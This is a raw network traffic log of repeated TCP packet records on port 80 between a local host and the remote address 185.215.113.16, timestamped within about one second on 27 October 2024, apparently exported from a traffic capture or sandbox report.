Oct 27, 2024 07:59:20.308057070 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308093071 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.308100939 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308111906 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.308114052 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308157921 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.308264017 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308362961 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308376074 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308386087 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308396101 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308530092 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.308530092 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.308577061 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308588982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308598995 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308609962 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308664083 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.308676958 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.308850050 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308861971 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308875084 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308896065 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.308909893 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308921099 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.309096098 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.309096098 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.350095034 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.350116014 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.350164890 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.350653887 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.350675106 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.350687027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.350697994 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.350708961 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.350765944 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.350779057 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.422329903 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.422343016 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.422353983 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.422442913 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.422454119 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.422463894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.422574997 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.422574997 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.422622919 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.422635078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.422645092 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.422851086 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.423264027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.423276901 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.423286915 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.423297882 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.423374891 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.423388958 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.423398972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.423422098 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.423433065 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.423439980 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.423439980 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.423743963 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.423764944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.423779964 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.423791885 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.423801899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.423953056 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.423965931 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.424133062 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.424144030 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.424154043 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.424164057 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.424175978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.424206972 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.424221039 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.427767038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.427779913 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.428234100 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.465528965 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.465542078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.465553999 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.465702057 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.465877056 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.465892076 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.465903044 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.466166973 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.466166973 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.466190100 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.466202021 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.466698885 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.510370016 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.510384083 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.510484934 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.537710905 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.537748098 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.537765026 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.537792921 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.537808895 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.537822008 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.537837029 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.537853003 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.537868977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.537940025 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.537940979 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.537940979 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.537940979 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.538531065 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.538547039 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.538562059 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.538575888 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.538599014 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.538621902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.538636923 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.538638115 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.538638115 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.538666964 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.538682938 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.538736105 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.538753033 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.538753033 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.539031982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.539047956 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.539093971 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.539098978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.539118052 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.539200068 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.539216042 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.539310932 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.539328098 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.539354086 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.539371967 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.539388895 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.539463043 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.539473057 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.539489031 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.539637089 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.580714941 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.580785036 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.580806971 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.580816984 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.580867052 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.580979109 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.581099033 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.581127882 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.581156015 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.581245899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.581280947 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.581314087 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.581336021 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.581346989 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.581393003 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.624586105 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.653032064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.653145075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.653162003 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.653197050 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.653199911 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.653213024 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.653228998 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.653244019 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.653254986 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.653275013 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.653290987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.653306007 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.653342009 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.653342009 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.653342009 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.653987885 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654005051 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654021025 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654077053 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654084921 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.654112101 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654114008 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.654140949 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654155970 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654171944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654186010 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654201984 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654369116 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.654369116 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.654369116 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.654443026 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654459000 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654474020 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654603004 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.654627085 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654643059 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654659033 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654669046 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.654675007 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654777050 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.654953957 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.654967070 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.655009031 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.694300890 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.694375038 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.694377899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.695926905 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.695955038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.695988894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.695995092 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.696022987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.696069956 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.696340084 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.696427107 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.696444988 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.696508884 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.696542978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.696556091 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.696577072 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.696609974 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.696669102 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.749623060 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.768219948 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.768237114 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.768251896 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.768291950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.768307924 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.768327951 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.768327951 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.768357992 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.768371105 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.768460989 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.768475056 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.768491030 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.768495083 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.768507004 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.768508911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.768572092 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.769001007 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769016027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769031048 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769094944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769094944 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.769104004 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.769113064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769129038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769154072 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.769309044 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769324064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769340038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769356966 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.769413948 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.769553900 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769570112 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769584894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769608021 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769622087 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.769654989 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.769773960 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769789934 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769808054 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769845963 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.769862890 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769877911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769892931 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.769932032 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.769932032 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.809516907 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.809550047 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.809634924 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.809650898 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.809664965 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.809842110 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.811178923 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.811213970 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.811247110 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.811340094 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.811697960 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.811759949 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.811795950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.811831951 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.811866045 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.811897993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.811953068 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.811954021 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.811954021 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.811969042 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.812115908 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.883971930 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.883987904 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884023905 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884042978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884053946 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884064913 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884074926 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884084940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884094954 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884105921 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884115934 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884126902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884130955 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.884130955 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.884130955 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.884130955 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.884159088 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.884274006 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.884300947 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884313107 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884322882 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884331942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884339094 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884362936 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.884421110 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.884449005 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884469986 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884481907 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884491920 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884599924 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.884599924 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.884736061 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884746075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884807110 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.884898901 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884911060 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884922028 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.884965897 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.884982109 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.885016918 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.885027885 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.885040998 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.885215044 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.885242939 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.885253906 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.885427952 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.924679041 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.924691916 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.924705029 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.924750090 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.924750090 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.926327944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.926340103 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.926351070 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.926420927 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.926894903 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.926906109 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.926918030 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.926953077 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.926964998 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.926975965 CET	80	49750	185.215.113.16	192.168.2.6
